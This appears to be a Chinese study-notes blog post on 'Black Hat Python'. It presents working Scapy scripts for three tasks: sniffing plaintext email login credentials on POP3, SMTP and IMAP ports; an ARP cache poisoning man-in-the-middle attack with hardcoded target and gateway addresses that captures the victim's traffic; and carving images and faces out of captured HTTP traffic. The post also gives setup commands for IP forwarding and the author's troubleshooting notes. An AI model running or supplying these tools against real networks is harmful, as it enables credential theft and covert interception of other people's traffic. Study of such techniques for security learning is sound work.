Python黑帽子-Scapy网络的掌控者

0xGeekCat · 2020-8-10 · 次阅读


窃取Email认证

from scapy.all import *
from scapy.layers.inet import TCP, IP


def packet_callback(packet):

    if packet.haslayer(TCP):

        # 确认数据是否含有负载
        if packet[TCP].payload:

            mail_packet = str(packet[TCP].payload)

            # 检测负载是否含有邮件协议中典型的USER和PASS命令
            if "user" in mail_packet.lower() or "pass" in mail_packet.lower():

                # 输出数据包发送的目标服务器IP和实际内容
                print("[*] Server: %s" % packet[IP].dst)
                print("[*] %s" % packet[TCP].payload)


# sniff(filter="", iface="any", prn=function, count=N)
# filter允许对Scapy嗅探的数据包指定一个BPF过滤器,也可以留空以嗅探所有数据包
# iface设置嗅探器所要嗅探的网卡,留空为所有网卡
# prn指定嗅探到符合过滤条件的数据包时所调用的回调函数,此函数以接收到的数据包作为唯一参数
# count指定需要嗅探的数据包个数,留空默认无限个
# store为0,Scapy将不会在内存中保留原始数据包,长时间嗅探时0很重要,可以使机器不会有巨大内存消耗
# 开启嗅探器 110(POP3) 143(IMAP) 25(SMTP) telnet pop.qq.com 110
sniff(filter="tcp port 110 or tcp port 25 or tcp port 143", prn=packet_callback, store=0)

ARP缓存投毒

from scapy.all import *
import os
import sys
import threading
import signal
from scapy.layers.l2 import ARP, Ether
# Mac_mac = 38:f9:d3:83:aa:8d
# gateway_mac = 58-69-6c-c9-c1-5f
interface = "eth0"
target_ip = "10.173.168.40"
gateway_ip = "10.173.171.254"
packet_count = 1000

# 设置嗅探的网卡
conf.iface = interface

# 关闭输出
conf.verb = 0


# 发送定制的ARP数据包到网络广播地址上,对网关和目标机器ARP缓存进行还原
def restore_target(gateway_ip, gateway_mac, target_ip):

    # send在网络层(第三层)发送数据包,但没有接收功能
    print("[+] Restoring target...")
    send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac), count=5)
    send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac), count=5)

    # 当ARP投毒线程遇到问题不能正常退出时,发送退出信号SIGINT(由键盘引起的终止(Ctrl-C))到主线程,以关闭或退出程序
    # os.kill模拟传统的UNIX函数发信号给进程,用于直接Kill掉进程,但只在UNIX平台上有效
    os.kill(os.getpid(), signal.SIGINT)


def get_mac(ip_address):

    # srp用于发送和接收链路层(第二层)的Ether数据包,同时收到响应数据包和不响应数据包,需要用两个变量来接收
    # 构造一个以太网数据包Ether发送广播
    # dst为目的IP地址
    # /符号被重载为叠加,从左到右为从下向上层叠加
    # timeout参数设置等待应答的超时时间
    # retry 参数设置重试次数
    responses, unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address), timeout=2)

    # 返回从响应数据中获得的MAC地址
    for s, r in responses:
        return r[Ether].src

    return None


def poison_target(gateway_ip, gateway_mac, target_ip, target_mac):

    # hwsrc参数没有赋值,为攻击机本地MAC地址
    # op参数为1或2,代表ARP请求或者响应包
    # hwsrc为发送方Mac地址
    # psrc为发送方IP地址。
    # hwdst为目标Mac地址。
    # pdst为目标IP地址
    poison_target = ARP()
    poison_target.op = 2
    poison_target.psrc = gateway_ip
    poison_target.pdst = target_ip
    poison_target.hwdst = target_mac

    poison_gateway = ARP()
    poison_gateway.op = 2
    poison_gateway.psrc = target_ip
    poison_gateway.pdst = gateway_ip
    poison_gateway.hwdst = gateway_mac

    print("[+] Beginning the ARP poison. [CTRL-C to stop]")

    while True:
        try:
            send(poison_target)
            send(poison_gateway)

            time.sleep(2)
        except KeyboardInterrupt:
            restore_target(gateway_ip, gateway_mac, target_ip)

    print("[+] ARP poison attack finished")


print("Setting up %s" % interface)

# get_mac获取网关和目标IP地址所对应的MAC地址
gateway_mac = get_mac(gateway_ip)

if gateway_mac is None:
    print("[!] Failed to get gateway MAC. Exiting.")
    sys.exit(0)
else:
    print("Gateway %s is at %s" % (gateway_ip, gateway_mac))

target_mac = get_mac(target_ip)

if target_mac is None:
    print("[!] Failed to get target MAC. Exiting.")
    sys.exit(0)
else:
    print("Target %s is at %s" % (target_ip, target_mac))

# 启动ARP投毒线程
poison_thread = threading.Thread(target=poison_target, args=(gateway_ip, gateway_mac, target_ip, target_mac))
poison_thread.start()

try:
    print("[+] Starting sniffer for %d packets" % packet_count)

    # 设置BFP过滤器仅捕获目标IP地址的流量
    bpf_filter = "ip host %s" % target_ip
    packets = sniff(count=packet_count, filter=bpf_filter, iface=interface)

    # 将捕获到的数据包输出到文件
    wrpcap('arper.pcap', packets)

    # 还原网络配置
    restore_target(gateway_ip, gateway_mac, target_ip)
except KeyboardInterrupt:
    # 还原网络配置
    restore_target(gateway_ip, gateway_mac, target_ip)
    sys.exit(0)

运行脚本前,要对攻击机进行设置,开启对网关和目标IP地址流量转发功能

  • Kali

    $echo 1 > /proc/sys/net/ipv4/ip_forward

  • Mac

    $sudo sysctl -w net.inet.ip.forwarding=1

Mac物理机执行脚本偶尔可以成功,基本上都会显示Failed to get target MAC,在Kali虚拟机里可以正常执行,但污染后的网关MAC地址为Mac物理机的而不是Kali虚拟机的,且脚本执行后无法还原已污染MAC地址,多次尚测试无法解决

处理PCAP文件

# coding=utf-8
import zlib
import cv2

from scapy.all import *
from scapy.layers.inet import TCP

pictures_directory = "pictures"
faces_directory = "faces"
pcap_file = "bhp2.pcap"


def face_detect(path, file_name):

    # 读取图像
    img = cv2.imread(path)

    # 对图像进行分类算法检测
    # 检测人脸正面面部特征后返回人脸所在长方形区域
    cascade = cv2.CascadeClassifier("haarcascade_frontalface_alt.xml")

    rects = cascade.detectMultiScale(
        img,
        scaleFactor=1.1,
        minNeighbors=5,
        flags=cv2.CASCADE_SCALE_IMAGE,
        minSize=(20, 20)
    )

    if len(rects) == 0:
        return False

    rects[ :, 2: ] += rects[ :, :2 ]

    # 对图像中的人脸进行高亮显示处理(绿线)
    for x1, y1, x2, y2 in rects:
        cv2.rectangle(img, (x1, y1), (x2, y2), (127, 255, 0), 2)

    # 图像写入文件
    cv2.imwrite("%s/%s-%s" % (faces_directory, pcap_file, file_name), img)

    return True


def get_http_headers(http_payload):
    try:
        # 如果为HTTP流量,提取HTTP头
        headers_raw = http_payload[ :http_payload.index("\r\n\r\n") + 2 ]

        # 对HTTP头进行切分
        headers = dict(re.findall(r"(?P<name>.*?): (?P<value>.*?)\r\n", headers_raw))

    except:
        return None

    if "Content-Type" not in headers:
        return None

    return headers


def extract_image(headers, http_payload):
    image = None
    image_type = None

    try:
        # 检测Content-type字段是否包含image的MIME类型
        if "image" in headers[ 'Content-Type' ]:

            # 获得图像类型和图像数据
            image_type = headers[ 'Content-Type' ].split("/")[ 1 ]

            image = http_payload[ http_payload.index("\r\n\r\n") + 4: ]

            # 如果发现图像被压缩则解压
            try:
                if "Content-Encoding" in headers.keys():
                    if headers[ 'Content-Encoding' ] == "gzip":
                        image = zlib.decompress(image, 16 + zlib.MAX_WBITS)
                    elif headers[ 'Content-Encoding' ] == "deflate":
                        image = zlib.decompress(image)
            except:
                pass
    except:
        return None, None

    return image, image_type


def http_assembler(pcap_file):
    carved_images = 0
    faces_detected = 0

    # 打开需要处理的PCAP文件
    a = rdpcap(pcap_file)

    # 自动对TCP中的会话进行分割并保存到一个字典中
    sessions = a.sessions()

    for session in sessions:

        http_payload = ""

        for packet in sessions[ session ]:

            try:
                # 过滤非HTTP会话的负载内容拼接到一个单独的缓冲区
                # 此步骤与右键单击Wireshark选择Follow TCP Stream等效
                if packet[ TCP ].dport == 80 or packet[ TCP ].sport == 80:
                    http_payload += str(packet[ TCP ].payload)

            except:
                pass

        # 单独处理HTTP头中内容
        headers = get_http_headers(http_payload)

        if headers is None:
            continue

        # HTTP响应数据中包含图像内容时,提取图像原始数据
        # extract_image返回图像二进制流和图像类型
        # 这种提取方式不常规但效果非常好
        image, image_type = extract_image(headers, http_payload)

        if image is not None and image_type is not None:

            # 提取的图像保存成文件
            file_name = "%s-pic_carver_%d.%s" % (pcap_file, carved_images, image_type)
            fd = open("%s/%s" % (pictures_directory, file_name), "wb")
            fd.write(image)
            fd.close()

            carved_images += 1

            # 对图像文件人脸识别
            try:
                result = face_detect("%s/%s" % (pictures_directory, file_name), file_name)

                if result is True:
                    faces_detected += 1
            except:
                pass

    return carved_images, faces_detected


carved_images, faces_detected = http_assembler(pcap_file)

print "Extracted: %d images" % carved_images
print "Detected: %d faces" % faces_detected

Python3多次试验调整依然无法成功,换成Python2即可,两个版本对于数据的解析差异很大

python3

image-20200411142254483

python2

image-20200411142336335

对于流量进行数据处理的函数存在很大局限性,因此使用特例型数据包,仅学习代码思路

在测试Python3时无意间发现一个有趣的函数

eval()

>>> a = eval("b'\\xff\\xd8\\xff\\xe0\\x00\\x10JFIF\\x00\\x01\\x01\\x01\\x00`\\x00'")
b'\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x01\x00`\x00'
>>>
>>> with open('xxx', 'wb') as f:
...     f.write() # 此时理论上即可实现还原jpg,但由于字符串中往往含有双引号会导致eval截取不完整而失败